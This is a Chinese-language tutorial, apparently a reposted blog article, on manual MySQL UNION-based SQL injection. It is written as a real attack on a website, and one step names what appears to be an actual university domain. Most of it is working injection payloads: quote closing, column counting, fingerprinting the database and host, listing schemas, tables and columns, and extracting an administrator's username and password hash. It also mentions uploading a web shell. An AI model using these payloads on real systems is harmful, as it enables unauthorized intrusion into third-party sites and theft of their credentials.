mysql union as 注入_sql注入入门 之 mysql 常规注入 [ union方式 ]
1,常規(guī)數(shù)字型 mysql 實(shí)例注入點(diǎn),如下:1https://www.vuln.com/md_materia_profile_view.php?viewid=2
2,依舊先嘗試下經(jīng)典的單引號,如下,雖然沒暴露出明顯的數(shù)據(jù)庫報(bào)錯(cuò)信息,但我們發(fā)現(xiàn),此時(shí)返回的頁面已經(jīng)異常了,經(jīng)驗(yàn)判斷,十有八九是個(gè)注入點(diǎn),先不管那么多,我們繼續(xù)1https://www.vuln.com/md_materia_profile_view.php?viewid=2'
3,我們再進(jìn)一步確認(rèn)注入點(diǎn),可能表面一眼看去,也許你會認(rèn)為它是個(gè)數(shù)字型注入點(diǎn),其實(shí),它是個(gè)字符型的,關(guān)于字符型的閉合比較簡單,你可以選擇把前后的單引號都閉合掉,或者你也可以選擇只閉合前面的單引號,然后把后面多余的語句都注釋掉也行,隨你,只要能保證我們的語句能正常執(zhí)行即可1https://www.vuln.com/md_materia_profile_view.php?viewid=2' and 's'='s 條件為真時(shí),頁面返回正常
1https://www.vuln.com/md_materia_profile_view.php?viewid=2' and 's'='sk 條件為假時(shí),頁面返回異常
1https://www.vuln.com/md_materia_profile_view.php?viewid=2' and 12=12 --+- 條件為真時(shí),頁面返回正常
1https://www.vuln.com/md_materia_profile_view.php?viewid=2' and 12=124 --+- 條件為假時(shí),頁面返回異常
4,確認(rèn)為真正的注入點(diǎn)后,我們就可以開始查詢各種數(shù)據(jù),首先,確定下當(dāng)前表準(zhǔn)確的字段個(gè)數(shù),為后面執(zhí)行union做準(zhǔn)備1https://www.vuln.com/md_materia_profile_view.php?viewid=2' order by 28 --+- 為28返回正常
1https://www.vuln.com/md_materia_profile_view.php?viewid=2' order by 29 --+- 為29時(shí)返回錯(cuò)誤,確認(rèn)當(dāng)前表的字段個(gè)數(shù)為28個(gè)
5,有了確切的字段個(gè)數(shù),我們繼續(xù)執(zhí)行union爆出對應(yīng)的數(shù)據(jù)顯示位(爆出對應(yīng)數(shù)據(jù)顯示位的目的,其實(shí)就是要把后續(xù)從數(shù)據(jù)庫查出來的各種結(jié)果都顯示到這些位置上,說的通俗點(diǎn)兒,我們查出來的數(shù)據(jù)在頁面上總得有個(gè)地方放吧,要不然我們怎么看呢)1https://www.vuln.com/md_materia_profile_view.php?viewid=2' and 12=124 UNION SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28 --+-
6,搜集當(dāng)前數(shù)據(jù)庫的各種相關(guān)信息,比如,當(dāng)前數(shù)據(jù)庫用戶權(quán)限(這里暫時(shí)以普通數(shù)據(jù)庫用戶權(quán)限為例進(jìn)行演示,關(guān)于root權(quán)限下的注入方法,后續(xù)還會有單獨(dú)說明),當(dāng)前數(shù)據(jù)版本,當(dāng)前數(shù)據(jù)庫名,目標(biāo)操作系統(tǒng)類型,目標(biāo)主機(jī)名,數(shù)據(jù)文件的存放目錄,數(shù)據(jù)庫的安裝目錄等等……實(shí)際測試中,不一定非要每次都把信息都查出來,只查對你有用的即可,這里純粹只是為了大家方便,所以說的相對比較詳細(xì)1https://www.vuln.com/md_materia_profile_view.php?viewid=2' and 12=124 UNION SELECT 1,2,3,4,user(),6,version(),8,9,10,11,12,13,database(),15,@@version_compile_os,@@hostname,@@datadir,19,20,21,@@basedir,23,24,25,26,27,28 --+-
7,對基本情況有所有了解后,接著就可以查出’所有’的數(shù)據(jù)庫名了,當(dāng)然,這里的’所有’并非真正的’所有’,它指的是當(dāng)前數(shù)據(jù)庫用戶有權(quán)限看到的那些數(shù)據(jù)庫,以此注入點(diǎn)為例,目前就只能看到 information_schema,homoeopathy_university 這倆數(shù)據(jù)庫1https://www.vuln.com/md_materia_profile_view.php?viewid=2' and 12=124 UNION SELECT 1,2,3,4,5,6,group_concat(schema_name),8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28 from information_schema.schemata --+-
8,查出當(dāng)前庫中的所有表名,這里有個(gè)坑,不知道是不是group_concat()對查詢結(jié)果有長度限制的問題,還是目標(biāo)網(wǎng)站的什么原因,個(gè)人感覺應(yīng)該是有限制(就像oracle中的wm_concat亦是如此),導(dǎo)致group_concat查出來的結(jié)果不全,如果表比較少,可能還沒什么問題,假如有個(gè)一兩百張表的情況下,用它就只能看到一部分,所以實(shí)際測試中,并不推薦group_concat()[順便提醒大家一句,不要過于相信網(wǎng)上的一些文章,其實(shí)有很多人自己都沒深入搞清楚,經(jīng)常是以訛傳訛,一定要多自己嘗試,這樣出來的東西,才能走心],很顯然,這里就出現(xiàn)了這樣的問題1https://www.vuln.com/md_materia_profile_view.php?viewid=2' and 12=124 UNION SELECT 1,2,3,4,5,6,group_concat(table_name),8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28 from information_schema.tables where table_schema=database() --+-
9,所以,下面我就換成limit了,個(gè)人覺得用limit還是非常靠譜的,就執(zhí)行效率來講,個(gè)人覺得相比group_concat()要高一點(diǎn)的,雖然,用limit可能稍微要費(fèi)點(diǎn)兒勁,不過還好我們有burpsuite幫忙,另外,有時(shí)候直接使用database()可能不太好使,可以把它換成上面database()的結(jié)果,然后hex一下基本就可以了1https://www.vuln.com/md_materia_profile_view.php?viewid=2' and 12=124 UNION SELECT 1,2,3,4,5,6,table_name,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28 from information_schema.tables where table_schema=database() limit 0,1 --+-
10,當(dāng)burpsuite跑到第142張表時(shí),我們發(fā)現(xiàn),這正是我們想要的網(wǎng)站管理表,表名為 ‘tbl_webmaster’1https://www.vuln.com/md_materia_profile_view.php?viewid=2' and 12=124 UNION SELECT 1,2,3,4,5,6,table_name,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28 from information_schema.tables where table_schema=database() limit 141,1 --+-
11,既然管理表找到了,接著把該表中的所有字段名查出來就可以了,為了避免單引號的問題,我們還是要把該表名先hex下,另外,這里依然是用limit,查詢過程中我們發(fā)現(xiàn)第四個(gè)字段是username(管理員用戶名),第五個(gè)字段是password(管理員密碼)1https://www.vuln.com/md_materia_profile_view.php?viewid=2' and 12=124 UNION SELECT 1,2,3,4,5,6,column_name,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28 from information_schema.columns where table_name=0x74626c5f7765626d6173746572 limit 3,1 --+-
1https://www.vuln.com/md_materia_profile_view.php?viewid=2' and 12=124 UNION SELECT 1,2,3,4,5,6,column_name,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28 from information_schema.columns where table_name=0x74626c5f7765626d6173746572 limit 4,1 --+-
12,現(xiàn)在用戶密碼字段都有了,直接把用戶名和對應(yīng)的密碼hash都查出來即可,如下,防止有多個(gè)網(wǎng)站管理員,記得帶上limit1https://www.homoeopathyuniversity.org/md_materia_profile_view.php?viewid=2' and 12=124 UNION SELECT 1,2,3,4,username,6,password,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28 from tbl_webmaster limit 0,1 --+-
13,最后查出來的賬號和密碼hash如下:1superadmin : e10adc3949ba59abbe56e057f*******
一點(diǎn)小結(jié):
關(guān)于mysql的常規(guī)注入,其實(shí)整個(gè)流程非常的簡單,無非就是’查權(quán)限,查路徑,查庫,查表,查字段,查數(shù)據(jù),找到后臺登陸傳shell’,就其本身來講并沒有多少實(shí)質(zhì)的技術(shù)含量在里面,這里純粹只是為了讓大家熟練mysql手工注入,加深對mysql注入的理解,這樣萬一以后遇到一些比較畸形的注入點(diǎn),工具罷工,我們手工還依然可以上
總結(jié)
以上是生活随笔為你收集整理的mysql union as 注入_sql注入入门 之 mysql 常规注入 [ union方式 ]的全部內(nèi)容,希望文章能夠幫你解決所遇到的問題。
- 上一篇: 有关小仙女的网名73个
- 下一篇: mysql数据库连接关闭_解决mysql